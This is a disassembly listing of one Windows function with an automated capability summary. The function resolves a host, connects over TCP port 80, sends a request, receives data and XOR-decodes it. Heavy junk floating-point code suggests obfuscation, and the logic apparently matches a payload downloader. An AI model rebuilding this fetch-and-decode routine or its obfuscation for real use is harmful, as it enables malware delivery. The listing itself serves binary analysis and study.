Function at 0x4087a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c700
push 0xffffffffffffffff
push 0x41e63b
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x425ee0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
fst dword [ebp - 0x2c]
fldz
mov eax, esi
fst qword [ebp - 0x34]
mov byte [ebp - 4], 1
mov byte [ebp + 0x11bc], bl
mov dword [ebp - 0x1c], ebx
fst qword [ebp - 0x3c]
fxch st(1)
lea edx, [eax + 1]
fst dword [ebp - 0x24]
fxch st(1)
fst qword [ebp - 0x54]
fst qword [ebp - 0x4c]
fst qword [ebp - 0x5c]
fxch st(1)
fstp dword [ebp - 0x28]
fstp qword [ebp - 0x44]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408850
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x408b74
xor eax, eax
cmp eax, edi
jg 0x40889d
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x40889a
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
cmp ecx, edi
jg 0x40889d
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
xor ebx, ebx
jmp 0x408883
inc eax
jmp 0x408866
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088a6
mov edi, dword [ebp - 0x18]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088c0
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x408f32
mov eax, edi
mov edx, edi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088e0
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4088f0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x423b00
rep movsb byte es:[edi], byte [esi]
call fcn.004013d0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408920
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407d10
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x18], cx
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
mov byte [esi + 4], al
fld dword [0x423c0c]
fadd qword [0x41f340]
fstp dword [0x423c0c]
fld dword [0x423c0c]
fsubr qword [0x41f398]
call fcn.0040b240
push esi
mov word [ebp - 0x18], ax
call fcn.0040b324
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408980
sub eax, edx
push eax
lea edx, [ebp + 0x11bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00408660
push 0x32
push 0x424320
call fcn.004013d0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089b0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408660
push 0x32
xor eax, eax
push ebx
mov word [ebp - 0x18], ax
mov dword [ebp - 0x14], ebx
push esi
call fcn.0040b3c0
fld dword [0x423c0c]
fadd qword [0x41f340]
fstp dword [0x423c0c]
fld dword [0x423c0c]
fsubr qword [0x41f398]
call fcn.0040b240
mov word [ebp - 0x18], ax
push esi
call fcn.0040b324
fld dword [ebp - 0x24]
fld1
add esp, 0x10
fsub st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x24]
fld dword [ebp - 0x24]
fadd qword [0x41f990]
fsub qword [0x41f988]
fcomp qword [0x41f980]
fnstsw ax
test ah, 0x44
jnp 0x408a7e
fld qword [ebp - 0x3c]
fsubr qword [0x41f978]
fld qword [0x423608]
fcompp
fnstsw ax
fld qword [0x423608]
fadd st(1)
fstp qword [0x423608]
fsubr qword [ebp - 0x3c]
fstp qword [ebp - 0x3c]
test ah, 1
jne 0x408a70
fld dword [0x423ce8]
fsub qword [0x41f970]
fstp dword [0x423ce8]
jmp 0x408a80
mov ecx, 0x4be8
mov word [0x424ef8], cx
jmp 0x408a80
fstp st(0)
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a90
sub eax, edx
push eax
lea edx, [ebp + 0x13bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00408660
push 5
push 0x423ab8
call fcn.004013d0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ac0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408660
xor eax, eax
mov word [ebp - 0x18], ax
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
mov byte [esi + 4], al
fld dword [0x423c0c]
fadd qword [0x41f340]
fstp dword [0x423c0c]
fld dword [0x423c0c]
fsubr qword [0x41f398]
call fcn.0040b240
mov word [ebp - 0x18], ax
push esi
call fcn.0040b324
mov ecx, dword [0x423ecc]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
add esp, 4
lea edx, [ebp]
push edx
fadd qword [0x425b00]
push 0x202
fstp qword [0x425b00]
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x408f32
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, 0xffffffff
jne 0x408b99
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x408b74
mov ecx, dword [ebp + 0x1a4]
push ecx
call fcn.0040adcc
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b8c5
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x1458], ebx
je 0x408bba
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
je 0x408b5c
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408c20
cmp dword [ebp + 0x1b8], edi
jmp 0x408b63
fld dword [ebp - 0x28]
fsub qword [0x423b20]
fstp dword [ebp - 0x28]
fld qword [0x423b20]
mov eax, dword [ebp + 0x1a4]
fsub qword [0x41f340]
fstp qword [0x423b20]
cmp dword [ebp + 0x1b8], edi
jae 0x408c52
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push ebx
push edx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408c74
cmp dword [ebp + 0x1b8], edi
jmp 0x408f39
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
sub ecx, edx
mov dword [ebp - 0x1c], ecx
inc dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
push ebx
push 0x41f968
call fcn.00407d10
fld dword [ebp - 0x2c]
fsub qword [ebp - 0x5c]
or edi, 0xffffffff
or ebx, edi
fadd dword [0x424efc]
fstp dword [0x424efc]
fld dword [ebp - 0x2c]
fadd qword [0x41f340]
fstp dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jg 0x408ce2
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], edx
fild dword [ebp - 0x28]
fadd qword [ebp - 0x44]
fstp qword [ebp - 0x44]
jmp 0x408e64
fld qword [ebp - 0x44]
mov ecx, dword [ebp - 0x20]
fadd qword [0x41f960]
push eax
lea eax, [ebp + 0x1bc]
push eax
fmul qword [ebp - 0x3c]
fstp qword [ebp - 0x3c]
call fcn.00408660
fld qword [ebp - 0x3c]
fstp qword [0x4235c0]
test edi, edi
jge 0x408e00
push 5
push 0x423ab8
call fcn.004013d0
mov ecx, dword [ebp - 0x1c]
add ecx, 0x7a1afcd5
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
add esp, 8
mov esi, eax
lea ecx, [eax + 1]
fadd qword [0x4242c0]
fstp qword [0x4242c0]
dec dword [ebp - 0x1c]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408d44
sub eax, ecx
mov ecx, dword [ebp - 0x20]
push eax
push 0
push esi
call fcn.00404d20
mov dx, word [0x4243cc]
mov edi, eax
movsx eax, dx
mov ecx, 0x88805372
sub ecx, eax
cmp ecx, 0x2dc5deb5
je 0x408d8c
mov edx, dword [0x423630]
mov ecx, dword [0x424248]
mov eax, 0x2e362954
sub eax, edx
add eax, ecx
add dword [ebp - 0x1c], eax
push esi
push 5
call fcn.004015c0
add esp, 8
test edi, edi
jl 0x408e00
fld qword [ebp - 0x34]
mov edx, dword [ebp - 0x20]
fsub qword [0x41f340]
push edx
add edi, 4
fstp qword [ebp - 0x34]
fld dword [ebp - 0x2c]
fld qword [ebp - 0x34]
fsub qword [0x41f958]
fsubp st(1)
fstp dword [ebp - 0x2c]
call fcn.00406850
mov ebx, eax
add esp, 4
mov dword [ebp - 0x14], ebx
test ebx, ebx
jge 0x408e00
push 0xb
push 0x423b84
call fcn.004013d0
mov ecx, dword [ebp - 0x20]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00405b30
push esi
push 0xb
mov ebx, eax
call fcn.004015c0
add esp, 8
test ebx, ebx
jge 0x408e64
mov ebx, dword [ebp - 0x14]
mov ax, word [str.bAo]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fadd qword [ebp - 0x54]
fstp qword [0x423cc8]
fld qword [ebp - 0x54]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [ebp - 0x54]
test ebx, ebx
jl 0x408e34
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408e62
cmp dword [ebp + 0x1458], 0
je 0x408f4b
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0x14], 0x4000
jb 0x408f4b
fld dword [ebp - 0x28]
fmul qword [ebp - 0x34]
fstp qword [ebp - 0x34]
fadd dword [ebp - 0x28]
fstp dword [ebp - 0x28]
jmp 0x408e64
fstp st(0)
mov ecx, dword [ebp - 0x18]
push ecx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test edi, edi
jl 0x408e85
push edi
mov edi, dword [ebp - 0x20]
push 0
mov ecx, edi
call fcn.00405aa0
jmp 0x408e88
mov edi, dword [ebp - 0x20]
fld qword [ebp - 0x4c]
mov bl, byte [ebp + 0x1454]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [ebp - 0x4c]
mov dx, word [0x42426c]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fadd qword [ebp - 0x4c]
fmul qword [0x423ea0]
fstp qword [0x423ea0]
test bl, bl
je 0x408f30
fld dword [ebp - 0x24]
fsub qword [0x41f950]
fadd qword [ebp - 0x34]
mov cx, word [str.bAo]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b240
mov word [str.bAo], ax
fld qword [ebp - 0x34]
fadd st(1)
xor esi, esi
fstp qword [ebp - 0x34]
fsubr dword [ebp - 0x24]
fstp dword [ebp - 0x24]
cmp esi, dword [edi + 0x14]
jae 0x408f32
fld qword [0x423b38]
fsub qword [0x41f948]
fmul dword [ebp - 0x24]
fstp dword [ebp - 0x24]
cmp esi, dword [edi + 0x14]
jbe 0x408f17
call fcn.0040c1ac
cmp dword [edi + 0x18], 0x10
jb 0x408f26
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x408ef6
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x408ef6
fstp st(0)
cmp dword [ebp + 0x1b8], 0x10
jb 0x408b74
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x408b6c
fld dword [0x423cb4]
fadd qword [0x41f940]
fstp dword [0x4243ac]
fadd dword [0x423cb4]
fstp dword [0x423cb4]
jmp 0x408cb3